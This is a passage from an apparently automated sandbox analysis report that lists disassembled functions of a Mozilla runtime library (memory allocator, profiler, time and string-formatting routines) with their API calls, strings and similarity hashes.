strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB82EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CB82F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB83214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB83242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB836BF

Strings

get , xrefs: 6CB83205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6CB8378D
set , xrefs: 6CB836EC

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 89dae8cf3b1a6cd2275483f610a6690431c7da81f2b79074a00857b7d507a8af
Instruction ID: 6ad6613f145222184569339cff516cd6b68a0a32b80c03c6100d028964832f2e
Opcode Fuzzy Hash: 89dae8cf3b1a6cd2275483f610a6690431c7da81f2b79074a00857b7d507a8af
Instruction Fuzzy Hash: 31323BB46093C18FD724CF24C490AAEBBE2EFC9218F54881DE99987751DB31D94ACB53

Function 6CB77E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6CB77E88
data, xrefs: 6CB78280, 6CB783E1
name, xrefs: 6CB77ECF, 6CB78335
schema, xrefs: 6CB781E3, 6CB78311

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 3d1aaa98a950a1b25d31768a9d0400b3949154e1614d0d3ec4c8e367acd47967
Instruction ID: 3d17937ef71e2434853fdf109b94bf363ba051f05fa4c7971a47f43550b4f84b
Opcode Fuzzy Hash: 3d1aaa98a950a1b25d31768a9d0400b3949154e1614d0d3ec4c8e367acd47967
Instruction Fuzzy Hash: 15E16071A043948BC714CF68C84066FF7E9FB95314F14892DE899EB790DBB0DD098B91

Function 6CB5D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CBBE784,?,?,?,?,?,?,?,00000000,76F92FE0,00000001,?,6CB6D1C5), ref: 6CB5D4F2
LeaveCriticalSection.KERNEL32(6CBBE784,?,?,?,?,?,?,?,00000000,76F92FE0,00000001,?,6CB6D1C5), ref: 6CB5D50B

Part of subcall function 6CB3CFE0: EnterCriticalSection.KERNEL32(6CBBE784), ref: 6CB3CFF6
Part of subcall function 6CB3CFE0: LeaveCriticalSection.KERNEL32(6CBBE784), ref: 6CB3D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76F92FE0,00000001,?,6CB6D1C5), ref: 6CB5D52E
EnterCriticalSection.KERNEL32(6CBBE7DC), ref: 6CB5D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB5D6A6
LeaveCriticalSection.KERNEL32(6CBBE7DC), ref: 6CB5D712
LeaveCriticalSection.KERNEL32(6CBBE784,?,?,?,?,?,?,?,00000000,76F92FE0,00000001,?,6CB6D1C5), ref: 6CB5D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB5D7EA

Strings

<jemalloc>, xrefs: 6CB5D827
: (malloc) Error initializing arena, xrefs: 6CB5D82C

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 7c565733a74c8bc9261ce59ce6dd52ca3cf51dd7fb3692c132db37c20201dd8e
Instruction ID: 7ba50c53e5449eeec456677cc78b590b56ab9c5efed05dd26207013f303621d7
Opcode Fuzzy Hash: 7c565733a74c8bc9261ce59ce6dd52ca3cf51dd7fb3692c132db37c20201dd8e
Instruction Fuzzy Hash: E1911271A047C18FD714CF39D69032AB7E1EB99314F548A2EE59AC7B90DB30E855CB82

Function 6CB55E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB55EDB
memset.VCRUNTIME140(6CB97765,000000E5,55CCCCCC), ref: 6CB55F27
LeaveCriticalSection.KERNEL32(?), ref: 6CB55FB2
memset.VCRUNTIME140(6CB97765,000000E5,BBC09015), ref: 6CB561F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CB57652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CB572F8
MOZ_CRASH(), xrefs: 6CB57BA4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB57BCD, 6CB57C1F, 6CB57C34, 6CB580FD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CB5730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CB572E3

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 509ce50d986adfd381427e4eeb7736001f6394a1448d192a3bf6420e3f583a30
Instruction ID: 90ab89dd1ea2ba6199dc5303715632e8f709ea7dbc34046c4aee265ceb3787b7
Opcode Fuzzy Hash: 509ce50d986adfd381427e4eeb7736001f6394a1448d192a3bf6420e3f583a30
Instruction Fuzzy Hash: EB33BC716157818FC308CF28C590615BBE2FF85328F69C6ADE8698F7A5C771E861CB42

Function 6CB33480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB33492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB334A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB334EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CB3350E
__Init_thread_footer.LIBCMT ref: 6CB33522
__aulldiv.LIBCMT ref: 6CB33552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB3357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB33592

Part of subcall function 6CB6AB89: EnterCriticalSection.KERNEL32(6CBBE370,?,?,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284), ref: 6CB6AB94
Part of subcall function 6CB6AB89: LeaveCriticalSection.KERNEL32(6CBBE370,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB6ABD1

Strings

kernel32.dll, xrefs: 6CB334EA
GetSystemTimePreciseAsFileTime, xrefs: 6CB33508

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: d15cbd9910343dd007408e1ea91ccfd87bbcfe583e956557a8eb58775151217c
Instruction ID: b38e983ad1ed104492d9a94b740de76ce7e26df15036354eec03a1840c656850
Opcode Fuzzy Hash: d15cbd9910343dd007408e1ea91ccfd87bbcfe583e956557a8eb58775151217c
Instruction Fuzzy Hash: B131E779B001869BDF00DFB5C888AAF7379FB45304F110419E906E3660EFB0A905CF65

Function 6CB84820 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6CB84D0A
-%llu, xrefs: 6CB84825
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6CB84CAF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6CB84DB8, 6CB84DD8
data, xrefs: 6CB849B4
schema, xrefs: 6CB848C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6CB84D65
ProfileBuffer parse error: %s, xrefs: 6CB84DD9

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: free
String ID: -%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3225433307
Opcode ID: a7f400a28d9d7c2eaa04b6bfacb9aa1678d8b82bba8281a2d3d97927785f3b3c
Instruction ID: 9426cc63140429333631a5958e80f80664f8b35ab5fa4bcbb550298c7a4331f4
Opcode Fuzzy Hash: a7f400a28d9d7c2eaa04b6bfacb9aa1678d8b82bba8281a2d3d97927785f3b3c
Instruction Fuzzy Hash: B3720975918B858BD322CF34C4513ABF7E5BFDA344F108B1DE48A6B611EB70A486DB42

Function 6CB94EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CB94EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB94F2E
moz_xmalloc.MOZGLUE ref: 6CB94F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CB94F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB952B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB952E6
Sleep.KERNEL32(00000010), ref: 6CB95481
free.MOZGLUE(?), ref: 6CB95498

Strings

(, xrefs: 6CB95250

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 407332d1290aa2cc36afd45187c223fa4ff15686dc7aa63a1a846c8a2b84f21e
Instruction ID: 66ba5b5aa01ac4a61405fc177caa262372f4091e7dfc1a1375b818daf586c2e7
Opcode Fuzzy Hash: 407332d1290aa2cc36afd45187c223fa4ff15686dc7aa63a1a846c8a2b84f21e
Instruction Fuzzy Hash: ADF1B075A18B408FC716CF39C85062BB7F9EFD6384F05872EF886A7651DB3198468B81

Function 6CB95FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CB96009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CB96024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6CB3EE51,?), ref: 6CB96046
OutputDebugStringA.KERNEL32(?,6CB3EE51,?), ref: 6CB96061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB96069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB96073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB96082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CBB148E), ref: 6CB96091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6CB3EE51,00000000,?), ref: 6CB960BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB960C4

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: e4be12d3618016521ebc68509e5658357b1c72ba8183afad38902fedaed8f6bd
Instruction ID: 5c3cee3510ea242343c1a1af7935ae88e755e402d42b2197e794ca16118ddb85
Opcode Fuzzy Hash: e4be12d3618016521ebc68509e5658357b1c72ba8183afad38902fedaed8f6bd
Instruction Fuzzy Hash: E321A1B1A002589FDF105F24DC89AAE7BBCFF45218F008428E85A97241DF75A559CFE6

Function 6CB97030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6CB97046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6CB97060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB9707E

Part of subcall function 6CB481B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CB481DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB97096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB9709C
LocalFree.KERNEL32(?), ref: 6CB970AA

Strings

### ERROR: %s: %s, xrefs: 6CB97087
(null), xrefs: 6CB9706A, 6CB97083

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 12a6b9f11793e3362a9fedcdbb24b9fde6ac804a2120a3c15fc503d6973f5594
Instruction ID: 3d932aa212cb88bba548af59a0582f5d84cf82934065317a1d176a3f99401ab1
Opcode Fuzzy Hash: 12a6b9f11793e3362a9fedcdbb24b9fde6ac804a2120a3c15fc503d6973f5594
Instruction Fuzzy Hash: D201B9B2A00108AFDF00AB64DC4ADBF7BBCEF49254F410425FA05E3251DE716914CBA5

Function 6CB59E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB59EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CB59F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB59F34
LeaveCriticalSection.KERNEL32(?), ref: 6CB5A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB5A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB5A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB5A8B1, 6CB5A8D4, 6CB5A8EF

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 7cfd3b962ec5c627cdf121f81d31242f77ed328b9d758a60c74cda05ad31aeda
Instruction ID: b5131b4f8a7f814ca1209f1f59c57c848e98367deabf39b70e4b8fbdc085089b
Opcode Fuzzy Hash: 7cfd3b962ec5c627cdf121f81d31242f77ed328b9d758a60c74cda05ad31aeda
Instruction Fuzzy Hash: BF728AB2A156518FD304CF28C440225FBE1FF89328F69C66DE869AB791D331E852CF91

Function 6CB82C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CB82C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CB82C61

Part of subcall function 6CB34DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB34E5A
Part of subcall function 6CB34DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CB34E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB82C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB82E2D

Part of subcall function 6CB481B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CB481DE

Strings

expected a Time entry, xrefs: 6CB82E36
(root), xrefs: 6CB8354F
ProfileBuffer parse error: %s, xrefs: 6CB82E3B

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 6b0d9b5cc1da4506d310880e6fe2f90a3f97482100e2613c6611c348e467c3cb
Instruction ID: 3d335e47aae4910e4146da4e832cf69bdf4c37b503d4ca63faa226bfcaa51683
Opcode Fuzzy Hash: 6b0d9b5cc1da4506d310880e6fe2f90a3f97482100e2613c6611c348e467c3cb
Instruction Fuzzy Hash: B191AEB06097C18FC724CF28C4946AEBBE1EF89358F50491DE99A87791EB30D949CB53

Function 6CB5C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6CB5D4BB
0123456789abcdef, xrefs: 6CB5C317

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 8f0be4f2c4785b2df987942fbef2f63c11820b0497ba1455d48fdc2ee6cd82cc
Instruction ID: 55a966319214b834a86f8e01eccb2f78f892faf4d2a2b2ca5ad617f9cdabb64b
Opcode Fuzzy Hash: 8f0be4f2c4785b2df987942fbef2f63c11820b0497ba1455d48fdc2ee6cd82cc
Instruction Fuzzy Hash: 355206346083818FD714CF28C5A076AB7F2FB8A318F988A1DD9D687B91D7359856CB43

Function 6CB99E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CB99F3D
__aulldiv.LIBCMT ref: 6CB99F77
__aullrem.LIBCMT ref: 6CB99F8C
__aulldiv.LIBCMT ref: 6CB9A023

Strings

-Infinity, xrefs: 6CB99E60, 6CB99E7B
NaN, xrefs: 6CB99EAB

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: d3e0830b353454590a981a8b7b7b062950f1539a050298ccaccd3343f3e75880
Instruction ID: 6388eb1584c8a55ae2a783cc1b3f7ca00a63f35aa0777743d8b966ed82093615
Opcode Fuzzy Hash: d3e0830b353454590a981a8b7b7b062950f1539a050298ccaccd3343f3e75880
Instruction Fuzzy Hash: 47C1A131E043A88FDF14CFA9C8507AEB7BAFB86714F144529D406ABB80D771A949CF91

Function 6CB3D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

@, xrefs: 6CB3DAF6
0, xrefs: 6CB3D852
, xrefs: 6CB3DA88
-, xrefs: 6CB3D7DD
8, xrefs: 6CB3DC08
9, xrefs: 6CB3DE7F
1, xrefs: 6CB3DBDD
0, xrefs: 6CB3DC7F

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: acad62a4625e976f768b6594f211dd8f2e252c8c792dfd5b53d9724a1a359bad
Instruction ID: 75f28b015a9fa4c194293eac61e4616ac62bb19cee742b4c75b6a0e642a4f75b
Opcode Fuzzy Hash: acad62a4625e976f768b6594f211dd8f2e252c8c792dfd5b53d9724a1a359bad
Instruction Fuzzy Hash: 7362AF7062C3E58FD701CE38E49075ABBE2EF86318F186A0DE8D94BA91D3359945CB53

Function 6CB49F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6CB4A100
' , xrefs: 6CB4A3D8
0, xrefs: 6CB4AB22
1, xrefs: 6CB4A824
@, xrefs: 6CB4A625
9, xrefs: 6CB4A5D6

Memory Dump Source

